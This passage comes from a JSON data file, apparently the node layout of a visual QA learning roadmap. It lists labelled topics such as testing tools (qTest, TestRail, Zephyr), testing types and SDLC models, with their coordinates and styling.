\"position\": {\n        \"x\": 240.91769176852483,\n        \"y\": 3.5101491462214653\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Test Prioritization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 240.91769176852483,\n        \"y\": 3.5101491462214653\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pH9h2tjO6raO_g4W8EgKq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 326.91769176852483,\n        \"y\": 69.51014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Manage your Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 326.91769176852483,\n        \"y\": 69.51014914622147\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FE_Wp2RPWFDHNaQIBLqH6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 338.91769176852483,\n        \"y\": 124.51014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"qTest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 338.91769176852483,\n        \"y\": 124.51014914622147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5Tn6Wtw8QE56LZ9BlRAmW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 442.91769176852483,\n        \"y\": 124.51014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"TestRail\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 442.91769176852483,\n        \"y\": 124.51014914622147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"leiCCxLJgXCpk1a--mE83\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 338.91769176852483,\n        \"y\": 177.51014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"TestLink\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 338.91769176852483,\n        \"y\": 177.51014914622147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"aGvbxmZCHbbt9PgXL1ooJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 442.91769176852483,\n        \"y\": 177.51014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Zephyr\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 442.91769176852483,\n        \"y\": 177.51014914622147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JInFH3JRvAxjvpIFKjUiP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -503.08230823147517,\n        \"y\": -76.48985085377853\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What is Quality Assurance?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252\n      },\n      \"positionAbsolute\": {\n        \"x\": -503.08230823147517,\n        \"y\": -76.48985085377853\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vZv4Ow5bg_PbKoF557G9S\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -503.08230823147517,\n        \"y\": -23.489850853778535\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"QA Mindset\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252\n      },\n      \"positionAbsolute\": {\n        \"x\": -503.08230823147517,\n        \"y\": -23.489850853778535\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"uFOVuenPyOKZGgoJXkwRZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -503.08230823147517,\n        \"y\": 29.510149146221465\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Testing Approaches\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 252\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -503.08230823147517,\n        \"y\": 29.510149146221465\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 252,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"y4QnZ2xQyc4x6Kr-eGBer\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -503.08230823147517,\n        \"y\": 109.51014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"White Box Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -503.08230823147517,\n        \"y\": 109.51014914622147\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZmWEG7Wu-h7bZe6pGxqDg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -503.08230823147517,\n        \"y\": 162.51014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Gray Box Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -503.08230823147517,\n        \"y\": 162.51014914622147\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2zfwE6uzGYc2qnvOZ47LB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -503.08230823147517,\n        \"y\": 215.51014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Black Box Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 192,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -503.08230823147517,\n        \"y\": 215.51014914622147\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZqgeqqZTGA-y7jVNyPCt4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 73.90951598106369,\n        \"y\": 69.51014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Project Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 73.90951598106369,\n        \"y\": 69.51014914622147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wVqbs8Rh0WjLQqJZ0XiF0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 85.90951598106369,\n        \"y\": 124.51014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Atlassian\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 125,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 125,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 85.90951598106369,\n        \"y\": 124.51014914622147\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 125,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xLPE9CqqiYz0miMFI3ThY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 213.9095159810637,\n        \"y\": 124.51014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Assembla\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 107,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 213.9095159810637,\n        \"y\": 124.51014914622147\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 107,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6bS1YjGJHARAUKTywYMU9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 85.90951598106369,\n        \"y\": 177.51014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"YouTrack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 126,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 126,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 85.90951598106369,\n        \"y\": 177.51014914622147\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 126,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dmfMp6ydjtHo6oKv97AzB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 215.9095159810637,\n        \"y\": 177.51014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Trello\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 105,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 105,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 215.9095159810637,\n        \"y\": 177.51014914622147\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 105,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gQLbDFP00itL260i1BiDe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 73.90951598106369,\n        \"y\": 247.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Testing Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"b\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 73.90951598106369,\n        \"y\": 247.2101491462215\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wmMIL-0ytz7a3JygyB-wc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 83.90951598106369,\n        \"y\": 404.01014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Load Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 83.90951598106369,\n        \"y\": 404.01014914622147\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bapKhjye4oWQxTEZ4fl_c\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 83.90951598106369,\n        \"y\": 457.01014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Performance Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 83.90951598106369,\n        \"y\": 457.01014914622147\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"skrOrieK1T0hHj_mJBNsW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 83.90951598106369,\n        \"y\": 510.01014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Stress Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 83.90951598106369,\n        \"y\": 510.01014914622147\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MahtxMJD3ETHfgk_PQabQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 83.90951598106369,\n        \"y\": 563.0101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Security Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 83.90951598106369,\n        \"y\": 563.0101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zGzpjxz3nvVH9Eu3NOPbk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 83.90951598106369,\n        \"y\": 616.0101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Accessibility Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 83.90951598106369,\n        \"y\": 616.0101491462215\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vYIEsjTKoO1ciypGIDlil\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 73.90951598106369,\n        \"y\": 347.01014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Non-Functional Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"b\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 251,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 251,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 73.90951598106369,\n        \"y\": 347.01014914622147\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 251,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"o4xmFhw_ilWdhpCiEotck\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 320.41769176852483,\n        \"y\": 247.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Functional Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"b\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 234,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 320.41769176852483,\n        \"y\": 247.2101491462215\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ls_pezva7_ZW2HHn7RvO4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 328.41769176852483,\n        \"y\": 304.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"UAT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 328.41769176852483,\n        \"y\": 304.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2h6mJeIFCU72J7aggTvnQ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 328.41769176852483,\n        \"y\": 357.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Exploratory Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 328.41769176852483,\n        \"y\": 357.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Lve3xpC1FU91TQqoDOYv7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 328.41769176852483,\n        \"y\": 410.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Sanity Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 328.41769176852483,\n        \"y\": 410.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XCeXiKvBblmDArfbWjDvw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 328.41769176852483,\n        \"y\": 463.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Regression Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 328.41769176852483,\n        \"y\": 463.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MVShii4LZiWW_gPTJzkty\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 328.41769176852483,\n        \"y\": 516.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Smoke Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 328.41769176852483,\n        \"y\": 516.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PMO3M33U6RuvNdINvqIAA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 328.41769176852483,\n        \"y\": 569.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Unit Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 328.41769176852483,\n        \"y\": 569.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a_vwz-onn6QEoc27N6oBc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 328.41769176852483,\n        \"y\": 622.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Integration Testing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 218,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 218,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 328.41769176852483,\n        \"y\": 622.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Pb3QkhSCgRByJHuPxVAlU\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -222.10787795478728,\n        \"y\": 296.2101491462215\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SDLC Delivery Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"wruw4qef0bf74oiA5JqHo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 237,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 237,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -222.10787795478728,\n        \"y\": 296.2101491462215\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 237,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zELjfWwfEYSc1YO8JLoJn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -245.74744704168165,\n        \"y\": 164.51014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"V Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7h-Xfp2Foiyn7-pI0w7ft\"\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -245.74744704168165,\n        \"y\": 164.51014914622147\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7h-Xfp2Foiyn7-pI0w7ft\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -245.74744704168165,\n        \"y\": 217.51014914622147\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Waterfall\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 111,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 111,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -245.74744704168165,\n        \"y\": 217.51014914622147\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 111,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"47NXgbc1OTGE06qXxlQoh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -487.08230823147517,\n        \"y\": 297.2822726577531\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Agile Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -487.08230823147517,\n        \"y\": 297.2822726577531\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cJyQx-LBcOL11nkK-P2JH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -476.58230823147517,\n        \"y\": 354.2822726577531\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Kanban\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n       